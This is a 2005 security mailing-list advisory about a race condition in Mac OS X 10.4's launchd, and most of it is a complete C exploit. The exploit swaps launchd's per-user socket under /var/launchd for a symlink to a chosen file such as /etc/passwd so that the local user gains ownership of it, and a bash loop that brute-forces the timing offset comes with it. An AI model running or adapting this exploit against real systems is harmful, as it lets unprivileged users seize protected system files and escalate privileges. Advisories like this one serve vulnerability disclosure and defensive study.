[EXPL] MacOS X launchd Race Condition (Exploit)

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To: list@securiteam.com
Date: 14 Jun 2005 18:52:55 +0200

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  MacOS X launchd Race Condition (Exploit)
------------------------------------------------------------------------

SUMMARY

"launchd manages daemons, both for the system as a whole and for
individual users. Ideal daemons can launch on demand based on criteria
specified in their respective XML property lists located in one of the
directories specified in the FILES section. During boot launchd is invoked
by the kernel to run as the first process on the system and to further
bootstrap the rest of the system."

A race condition in Mac OS X's launchd allows local users to gain
eleveated privileges.

DETAILS

Vulnerable Systems:
 * Mac OS X launchd version 10.4

Exploit:
/*
 * Mac OS X 10.4 launchd race condition exploit
 *
 * intropy (intropy <at> caughq.org)
 */

/* .sh script to help with the offsets /str0ke
#!/bin/bash

X=1000
Y=3000
I=1

while ((1))
do
    ./CAU-launchd /etc/passwd $X
    if [ $I -lt 30 ]
    then
        ((X=$X+$Y))
        ((I=$I+1))
    else
        X=1000
        I=1
    fi
done
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define DEBUG 0
#define SLEEP 6000

main(int argc, char *argv[])
{
    pid_t pid;
    int count, sleep = SLEEP;
    char name[100];
    char target[100];
    struct stat *stats = (struct stat *)malloc(sizeof(struct stat));

    if ( argc < 2) {
        fprintf(stderr, "%s <file to 0wn>\n", argv[0]);
        exit(-1);
    } else if ( argc > 2 ) {
        sleep = atoi(argv[2]);
        strncpy(target, argv[1], sizeof(target)-1);
    } else {
        strncpy(target, argv[1], sizeof(target)-1);
    }

    if ( DEBUG ) printf("Going for %s\n", target);
    if ( DEBUG ) printf("Using usleep %d\n", sleep);

    pid = fork();

    if ( pid == 0 ) {
        if ( DEBUG ) {
            system("/sbin/launchd -v /bin/ls -R /var/launchd/
2>/dev/null");
        } else {
            system("/sbin/launchd -v /bin/ls -R /var/launchd/ >/dev/null
2>&1");
        }
    } else {
        snprintf(name, sizeof(name)-1, "/var/launchd/%d.%d/sock",
getuid(), pid+2);
        if ( DEBUG ) printf("Checking %s\n", name);
        usleep(sleep);
        if ( DEBUG ) printf("Removing sock...\n");
        if ( (unlink(name)) != 0 ) {
            if ( DEBUG ) perror("unlink");
        } else {
            if ( (symlink(target, name)) != 0 ) {
                if ( DEBUG ) perror("symlink");
            } else {
                if ( DEBUG ) printf("Created symlink %s -> %s...\n", name,
target);
            }
        }
        stat(target, stats);
        if ( stats->st_uid == getuid() ) {
            printf("Looks like we got it\n");
            usleep(10000000);
        }
    }
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:intropy@caughq.org> intropy.
The original article can be found at:
<http://www.caughq.org/exploits/CAU-EX-2005-0004.txt>
http://www.caughq.org/exploits/CAU-EX-2005-0004.txt

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